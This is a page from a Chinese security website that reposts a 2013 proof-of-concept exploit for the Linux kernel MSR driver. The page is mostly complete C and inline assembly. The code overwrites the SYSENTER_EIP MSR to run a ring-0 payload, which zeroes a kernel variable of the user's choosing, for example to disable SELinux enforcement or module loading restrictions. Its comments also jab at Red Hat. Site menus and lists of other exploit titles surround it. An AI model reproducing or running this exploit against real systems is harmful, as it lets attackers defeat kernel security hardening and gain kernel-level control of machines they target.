首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 'MSR' Driver Local Privilege Escalation
来源:https://twitter.com/grsecurity/status/298977370776 作者:spender 发布时间:2013-08-05  
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released.  Not even a bugtraq entry existed in
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
//
// spender 2013
   
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>
   
#define SYSENTER_EIP_MSR 0x176
   
u_int64_t msr;
   
unsigned long ourstack[65536];
   
u_int64_t payload_data[16];
   
extern void *_ring0;
extern void *_ring0_end;
   
void ring0(void)
{
__asm volatile(".globl _ring0\n"
    "_ring0:\n"
    ".intel_syntax noprefix\n"
    ".code64\n"
    // set up stack pointer with 'ourstack'
    "mov esp, ecx\n"
    // save registers, contains the original MSR value
    "push rax\n"
    "push rbx\n"
    "push rcx\n"
    "push rdx\n"
    // play with the kernel here with interrupts disabled!
    "mov rcx, qword ptr [rbx+8]\n"
    "test rcx, rcx\n"
    "jz skip_write\n"
    "mov dword ptr [rcx], 0\n"
    "skip_write:\n"
    // restore MSR value before returning
    "mov ecx, 0x176\n" // SYSENTER_EIP_MSR
    "mov eax, dword ptr [rbx]\n"
    "mov edx, dword ptr [rbx+4]\n"
    "wrmsr\n"
    "pop rdx\n"
    "pop rcx\n"
    "pop rbx\n"
    "pop rax\n"
    "sti\n"
    "sysexit\n"
    ".code32\n"
    ".att_syntax prefix\n"
        ".global _ring0_end\n"
    "_ring0_end:\n"
    );
}
   
unsigned long saved_stack;
   
int main(int argc, char *argv[])
{
    cpu_set_t set;
    int msr_fd;
    int ret;
    u_int64_t new_msr;
    struct sched_param sched;
    u_int64_t resolved_addr = 0ULL;
   
    if (argc == 2)
        resolved_addr = strtoull(argv[1], NULL, 16);
   
    /* can do this without privilege */
    mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
    mlock(&payload_data, sizeof(payload_data));
   
    CPU_ZERO(&set);
    CPU_SET(0, &set);
   
    sched.sched_priority = 99;
   
    ret = sched_setscheduler(0, SCHED_FIFO, &sched);
    if (ret) {
        fprintf(stderr, "Unable to set priority.\n");
        exit(1);
    }
   
    ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
    if (ret) {
        fprintf(stderr, "Unable to set affinity.\n");
        exit(1);
    }
   
    msr_fd = open("/dev/cpu/0/msr", O_RDWR);
    if (msr_fd < 0) {
        msr_fd = open("/dev/msr0", O_RDWR);
        if (msr_fd < 0) {
            fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
            exit(1);
        }
    }
    lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
    ret = read(msr_fd, &msr, sizeof(msr));
    if (ret != sizeof(msr)) {
        fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
        exit(1);
    }
   
    // stuff some addresses in a buffer whose address we
    // pass to the "kernel" via register
    payload_data[0] = msr;
    payload_data[1] = resolved_addr;
   
    printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
    fflush(stdout);
   
    lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
    new_msr = (u_int64_t)(unsigned long)&_ring0;
   
    printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
    fflush(stdout);
   
    ret = write(msr_fd, &new_msr, sizeof(new_msr));
    if (ret != sizeof(new_msr)) {
        fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
        exit(1);
    }
   
    __asm volatile(
        ".intel_syntax noprefix\n"
        ".code32\n"
        "mov saved_stack, esp\n"
        "lea ecx, ourstack\n"
        "lea edx, label2\n"
        "lea ebx, payload_data\n"
        "sysenter\n"
        "label2:\n"
        "mov esp, saved_stack\n"
        ".att_syntax prefix\n"
    );
   
    printf("Success.\n");
       
    return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP Data Protector CMD Install
·MS13-005 HWND_BROADCAST Low to
·EchoVNC Viewer Remote Denial O
·Easy LAN Folder Share Version
·Adobe ColdFusion all versions
·Galil-RIO Modbus - Denial of S
·PineApp Mail-SeCure test_li_co
·TEC-IT TBarCode OCX ActiveX Co
·PineApp Mail-SeCure ldapsyncno
·StarUML WinGraphviz.dll - Acti
·PineApp Mail-SeCure livelog.ht
·Ruby Gem Rgpg 0.2.2 Command In
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved